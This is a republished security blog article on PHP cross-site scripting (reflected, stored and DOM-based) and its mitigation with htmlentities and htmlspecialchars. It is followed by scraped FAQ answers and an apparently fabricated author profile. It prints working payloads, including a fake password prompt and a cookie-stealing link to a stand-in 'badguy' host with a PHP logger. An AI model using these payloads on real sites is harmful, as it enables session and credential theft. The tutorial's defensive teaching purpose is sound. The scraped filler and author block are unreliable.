Client-Side Injection Attacks - Alert Logic (2022)

I originally started these articles in the hope of exploring different types of both common PHP vulnerabilities, as well as some that are less common. Unfortunately, due to some time constraints and other projects, I’ve had to cut the series of articles
into only three parts that will focus more on PHP injection-based vulnerabilities than just general situational vulnerabilities. For those of you who’d like to continue down the rabbit hole of educating yourself on the more exotic classes of PHP vulnerabilities,
I’d recommend checking out these two articles regarding exploiting PHP type juggling and the unserialize() function—both written by a good friend of mine.

Ok, let’s get back to business. So, the final class of vulnerability we will be exploring this week are client-side injection attacks. In prior weeks, we discussed different types of server-side injection vulnerabilities including SQL injection and command injection and how to mitigate each vulnerability using the simplified approach of sanitizing any and all user-controlled input that may be passed to the
database or some kind of PHP function that interfaces with the operating system or executes an operating system command. Client-Side injection attacks can be classified as JavaScript injection or XSS, HTML injection, and in many cases, even CSRF attacks.
These attacks differ from server-side injections in that they target a website’s user base instead of actual endpoints or assets. And it’s because of this that many system admins still write off the threat as something that doesn’t really affect them.
They see the worst result of an XSS as something that can steal their client’s cookies, that’s it. No biggie. After all, is it up to the system admin to protect everyone in his or her userbase? Well—within reason—the answer is yes.

What causes Cross-Site Scripting (XSS) or HTML injection?

In PHP, XSS and HTML injection attacks–in the most simplified and common form–are usually (though not always) caused by echoing user-controlled HTML, JavaScript, or both through a PHP interpreter without proper sanitization. For example, search forms
where a user-controlled search query is placed within a form and echoed back into the URL are common places to find non-persistent XSS vulnerabilities:

http://site
.com/index.php?search=aaa”><script>alert(“XSS”)</script>&count=50

XSS can be a very tricky vulnerability and on complex websites with rich user-based experiences, these vulnerabilities can pop up in the strangest of places. And sadly, sanitizing all of your server-side inputs can still leave you exposed to certain types
of XSS attacks. Let’s not get ahead of ourselves though and start panicking. Let’s first discuss the three different types of XSS, take a brief look at their causes and also the risk they impose on both the visitor and the administrator.

Non-Persistent XSS

We’ve already discussed non-persistent XSS vulnerabilities briefly above, but I didn’t actually explain it in any detail. These vulnerabilities affect the client only and usually come from echoing HTML or JavaScript through the PHP interpreter. The search
form I mentioned up above where the search query is echoed back and displayed in the URL via a GET request is one of the most common examples I can think of and back in the mid 2000s-2011 it seemed like more than half the websites online were affected
with some form of non-persistent XSS. You can look at the now pretty much defunct xssed.com to get an idea of just how many of the Alexa top 500 sites were affected back then. This was before bug bounty programs started
popping up everywhere and back then to point out non-persistent XSS (any vulnerability actually) vulnerable software to a system administrator was a risk that could get you in trouble or at the least cursed out. They’d say this wasn’t a vulnerability
that affected the web servers directly. I believe the laissez faire attitude back then was due to a lack of understanding of the risks of these vulnerabilities more than anything else. Non-persistent XSS could definitely lead to some bad situations and has,
but let’s look at an example. Check out the code below:

A simple code example of a non-persistent XSS:

Client-Side Injection Attacks - Alert Logic (1)

(Video) Running an SQL Injection Attack - Computerphile

This is a simple search function illustrating a non-persistent XSS vulnerability. The search code is below, but the actual vulnerability is above. If this site was a password protected, you could feed a link to your victim like the one below (simplified):

http://site
.com/vulnlogic/xss.php?search=aaa”><script>prompt(“Please+enter+your+password”);</script>

The result? A password prompt to a potential victim:

Client-Side Injection Attacks - Alert Logic (2)

Another option—the one that XSS is probably best known for—is cookie theft. We could also craft a link that forwards the victim’s session cookie to a script we have running on our own server:

Malicious Link:

http://site
.com/vulnlogic/xss.php?search=test”><script>document.location="http://badguy/gibsmecookie.php?cookie="+ document.cookie+"&location="+document.location;</script>

To retrieve the cookie on our own backend we’d have our givemecookie.php script running:

<?php error_reporting(0); $cookie = $_GET["cookie"]; $loc = $_GET[‘location’]; if(fopen('log.txt', 'a')){ fwrite(“log.txt”, $cookie . "\n"); fwrite(“log.txt”, $loc. “\n\n”); } ?>

This code will receive the cookies when the victim clicks the link and store them in a file called log.txt.

Of course, both of the above links may come off as pretty blatant to those who know better, but we have a few options to obfuscate our payload. We can use string.FromCharCode(),
different types of encoders, or a combination of both. URL shorteners can also be used. In addition to obfuscation, we can also use JavaScript source files to hide larger, more effective payloads that
may be used to do multiple things such as probing services running on the user’s system by running internal port scans, and even deliver exploits to the browser. So—just to
be clear—non-persistent XSS only takes place on the client, not the server. This means the victim would actually have to click–knowingly or unknowingly—the malicious link for the payload the execute.

(Video) Demonstration of Alert Logic Web Log Analytics (Web App Threat Detection) | Using Alert Logic

Persistent or Stored XSS

Persistent XSS is much more dangerous than non-persistent XSS in that it doesn’t require a target to click a link to become a victim of its attack. A persistent XSS will be stored on the server (or more likely its database) so every time a page loads,
it reloads the malicious JavaScript. For example, think of a guestbook application where comments can be written underneath a topic or user. The standard functionality of a guestbook application is usually: User posts comment, comment is inserted into
some kind of database, then the comment is presented back on the webpage for view. The “persistence” part of the attack is due to the fact that the payload is stored in the database. Therefore, every time the page is loaded, the comment—and by extension
the JavaScript within it—is loaded too. I’ve added some sample code below of a very simplified version of the vulnerable guestbook we’ve been discussing. The code essentially mimics the scenario discussed above where the user types a comment, it gets
inserted into a database, then quickly reflected back onto the webpage.

Client-Side Injection Attacks - Alert Logic (3)

Adding the simple proof of concept code below:

<script>alert(String.fromCharCode(72, 65, 67, 75, 69, 68));</script>

Client-Side Injection Attacks - Alert Logic (4)

And whenever the page is loaded this code will reload again and again until someone purges the payload from the database.

How do we protect ourselves?

Fixing persistent and non-persistent XSS or HTML injection can be challenging in some situations—especially with the continued rise and innovation around client-side technologies and the growth of JavaScript Frameworks and methodologies that make the
web experience more elegant and user friendly (AJAX, JQuery, AngularJS, etc.). Luckily for programmers
PHP does have well known built in functions to sanitize against JavaScript injections called HTMLentities() and HTMLspecialchars().
These functions will sanitize user-controlled data being passed to forms or functions by converting dangerous characters to their corresponding HTML entity. I added functions because sanitizing
against XSS can be a little more involved than sanitizing user input for command injection or SQL injection. In each of the aforementioned vulnerabilities, you probably know where the possible vulnerability is, therefore you can test and apply trial
and error to come to the best fix for the situation. With JavaScript attacks you have to sanitize similarly, but also application-wide. You have to trace each input through the application and see exactly how it’s handled on both sides (client and server).
Defining the proper Character-Set header is important too. For instance, if the Character-Set is correctly set to application/json when passing JSON data, JavaScript will not be allowed
to execute.

(Video) CompTIA CySA+ Full Course Part 23: Mitigating Attacks: Integer Overflow, XSS, SQL & XML Injection

Back to our simplified examples. As mentioned, we can mitigate our vulnerabilities programmatically with PHP’s HTMLentities or HTMLspecialchars. You will have to decide which is best depending on whether you’re planning on returning a string value or
using just basic string sanitization.

Our Non Persistent XSS mitigated:

Client-Side Injection Attacks - Alert Logic (6)

Our Persistent XSS mitigated:

Client-Side Injection Attacks - Alert Logic (7)

The result is our persistent XSS payload is now just displayed text:

Client-Side Injection Attacks - Alert Logic (8)

(Video) How To Prevent The Most Common Cross Site Scripting Attack

The same goes for our non-persistent XSS payload:

Client-Side Injection Attacks - Alert Logic (9)

What about Document Object Model (DOM) based XSS?

To understand DOM based XSS you really need to have (at the least) a basic understanding of the DOM or Document Object Model. The DOM is a bit outside our scope today, but I’ll do my best
to give you an ultra-high-level run through. Before we discuss the DOM it’s important to know that DOM based XSS exists on the client-side.

At the highest level, the DOM essentially is a cross platform API used to understand, present, and manipulate HTML/XML/XHTML by interpreting each piece as an object or node.
DOM based XSS happens when the browser accepts and executes an XSS attack payload due to the result of the DOM environment executing the original script. It sounds confusing, but simplified it’s just using the DOM API to leverage a script to do something
unexpected or malicious. This could be to execute code within the user’s browser or manipulate DOM properties like location.href to create an open redirect situation. The important thing to keep in mind when mitigating the XSS menace is that we need
to trace and sanitize all inputs through your application, as well as ensure any JQuery or third-party JavaScript libraries or frameworks are up to date. There are still way too many websites using vulnerable JQuery libraries.

Well, this concludes the last part of this series. Be sure to keep a look out for my WAF and filter bypass article next. We will talk about why it is best not to depend on one singular security device like a Web Application Firewall to protect your applications. I will explain
why your security posture must be spread out (somewhat) equally on multiple fronts. I’ll show you how WAFs and strong filters can be bypassed by determined attackers to execute code. As usual, we will look at the code and regexp filters on the backend,
break it down programmatically, then find the flaw that gives us access to the goods. Until then, keep learning. The only way to be efficient at security is to understand both sides of it.

FAQs

What is client-side code injection attack? ›

Client-side injection results in the execution of malicious code on the mobile device via the mobile app. Typically, this malicious code is provided in the form of data that the threat agent inputs to the mobile app through a number of different means.

How can injection attacks be prevented? ›

The only sure way to prevent SQL Injection attacks is input validation and parametrized queries including prepared statements. The application code should never use the input directly. The developer must sanitize all input, not only web form inputs such as login forms.

What are the most common targets of an injection attack? ›

Some of the most common injection attacks target the following functionality: Structured query language (SQL) queries. Lightweight directory access protocol (LDAP) queries. XML path language (XPATH) queries.

What is the best defense against injection attacks? ›

The best defense against injection attacks is to develop secure habits and adopt policies and procedures that minimize vulnerabilities. Staying aware of the types of attacks you're vulnerable to because of your programming languages, operating systems and database management systems is critical.

What are the client-side vulnerabilities? ›

A client-side resource manipulation vulnerability is an input validation flaw. It occurs when an application accepts user-controlled input that specifies the path of a resource such as the source of an iframe, JavaScript, applet, or the handler of an XMLHttpRequest.

What are client attacks? ›

Client-side attacks occur when a user unintentionally downloads malicious or vulnerable content from a server, often by doing nothing more than simply clicking on a web page and filling out a form.

Why do injection attacks happen? ›

Injections are amongst the oldest and most dangerous attacks aimed at web applications. They can lead to data theft, data loss, loss of data integrity, denial of service, as well as full system compromise. The primary reason for injection vulnerabilities is usually insufficient user input validation.

Which of the following are injection attacks? ›

Injections are amongst the oldest and most dangerous attacks aimed at web applications and can lead to data theft, data loss, loss of data integrity, denial of service, as well as full system compromise. The primary reason for injection vulnerabilities is usually insufficient user input validation.

What are the solution for broken authentication? ›

Implement Multi-Factor Authentication (MFA)

OWASP's number one tip for fixing broken authentication is to “implement multi-factor authentication to prevent automated, credential stuffing, brute force, and stolen credential reuse attacks.”

What logic clause can be injected to achieve SQL injection attack? ›

Most SQL injection vulnerabilities arise within the WHERE clause of a SELECT query. This type of SQL injection is generally well-understood by experienced testers.

What are injection vulnerabilities? ›

An injection flaw is a vulnerability which allows an attacker to relay malicious code through an application to another system. This can include compromising both backend systems as well as other clients connected to the vulnerable application.

What is data injection attack? ›

Injection attacks. Attack type. Attack description. Blind SQL Injection. Allows an attacker to use an error page returned by the database server to ask a series of True and False questions using SQL statements in order to gain total control of the database or execute commands on the system.

What are three ways to mitigate SQL injection threats choose three? ›

SQL Injection Prevention Cheat Sheet
  • Option 1: Use of Prepared Statements (with Parameterized Queries)
  • Option 2: Use of Properly Constructed Stored Procedures.
  • Option 3: Allow-list Input Validation.
  • Option 4: Escaping All User Supplied Input.

How does SQL injection work? ›

A hacker executes an SQL injection with an SQL statement that is always true. For instance, 1=1; instead of just entering the “wrong” input, the hacker uses a statement that will always be true. Entering “100 OR 1=1” in the query input box will return a response with the details of a table.

What is the most common form of client-side attacks? ›

Taking advantage of cross-site scripting (XSS) is one of the most common ways for bad actors to launch a client-side attack, since estimates show approximately 53% of web applications are affected by this vulnerability.

What is client-side protection? ›

Client-Side Protection mitigates the risk of your customers' most sensitive data landing in the hands of bad actors. It prevents supply-chain fraud from Client-Side attacks like formjacking, Magecart and other online skimming attacks.

Which is more secure client-side or server-side? ›

Server Side Only: This one is more secure than Client-only by a long shot, but cuts back on user friendliness. They have to send their form to the server, have it validated and receive the error page back saying a particular field was invalid.

What is client-side and server-side attacks? ›

Client-Side Attacks Defined

Whereas server-side attacks seek to compromise and breach the data and applications that are present on a server, client-side attacks specifically target the software on the desktop itself.

What is server-side and client-side? ›

Client-side and server-side are sometimes referred to as front-end and back-end. The client-side of a website refers to the web browser and the server-side is where the data and source code is stored.

Is client-side scripting secure? ›

Scripts that run on the user's device are called client-side scripts. Generally less secure due to the fact that users have direct access to the scripts. They can potentially be messed with.
...
A QUICK SUMMARY.
Client-side ScriptingServer-side Scripting
ExamplesHTML, CSS, Javascript.PHP, ASP, Python, JSP, Ruby, C, Java.
5 more rows
Jul 3, 2022

What are the different types of injection attacks? ›

Types of injection attacks
  • SQL Injection (SQLi) SQL is a query language to communicate with a database. ...
  • Cross-Site Scripting (XSS) ...
  • Code Injection. ...
  • Command Injection. ...
  • CCS Injection. ...
  • SMTP/IMAP Command Injection. ...
  • Host Header injection. ...
  • LDAP Injection.
Jul 25, 2020

What is used for injection? ›

Most injections consist of a needle and syringe. A doctor may also use a newer device, such as auto and jet injectors.

What are the solution for injection attacks Mcq? ›

Explanation: In order to prevent the SQL Injection attack, we should pre-define the input type, input field, and length of the user data to validate the input for the user authentication. Access privileges should be restricted for the users and administrator accounts should not be used.

How can Xss be prevented? ›

In general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures: Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input. Encode data on output.

What are the solution for injection attacks whitelist input characters? ›

18 Steps to Prevent SQL Injection Attacks
  • Validate User Inputs. ...
  • Sanitize Data by Limiting Special Characters. ...
  • Enforce Prepared Statements and Parameterization. ...
  • Use Stored Procedures in the Database. ...
  • Actively Manage Patches and Updates. ...
  • Raise Virtual or Physical Firewalls. ...
  • Harden Your OS and Applications.
Mar 11, 2021

Videos

1. XPath & XML Injections | Owasp Top 10 Explainer Video | Secure Code Warrior
(Secure Code Warrior)
2. Bug Bounty Explained! How Hackers Break Into Your Website Using Only JSON?! Protect Your Website!
(Loi Liang Yang)
3. Client-side Attacks Require A New Approach to Web Application Security
(PerimeterX, Inc.)
4. Using the BFF pattern to secure SPA and Blazor Applications - Dominick Baier - NDC Oslo 2021
(NDC Conferences)
5. SQL Injection tutorial
(acunetix)
6. Running a XSS Attack + How to defend
(Academind)

Top Articles

You might also like

Latest Posts

Article information

Author: Duane Harber

Last Updated: 09/08/2022

Views: 6203

Rating: 4 / 5 (71 voted)

Reviews: 86% of readers found this page helpful

Author information

Name: Duane Harber

Birthday: 1999-10-17

Address: Apt. 404 9899 Magnolia Roads, Port Royceville, ID 78186

Phone: +186911129794335

Job: Human Hospitality Planner

Hobby: Listening to music, Orienteering, Knapping, Dance, Mountain biking, Fishing, Pottery

Introduction: My name is Duane Harber, I am a modern, clever, handsome, fair, agreeable, inexpensive, beautiful person who loves writing and wants to share my knowledge and understanding with you.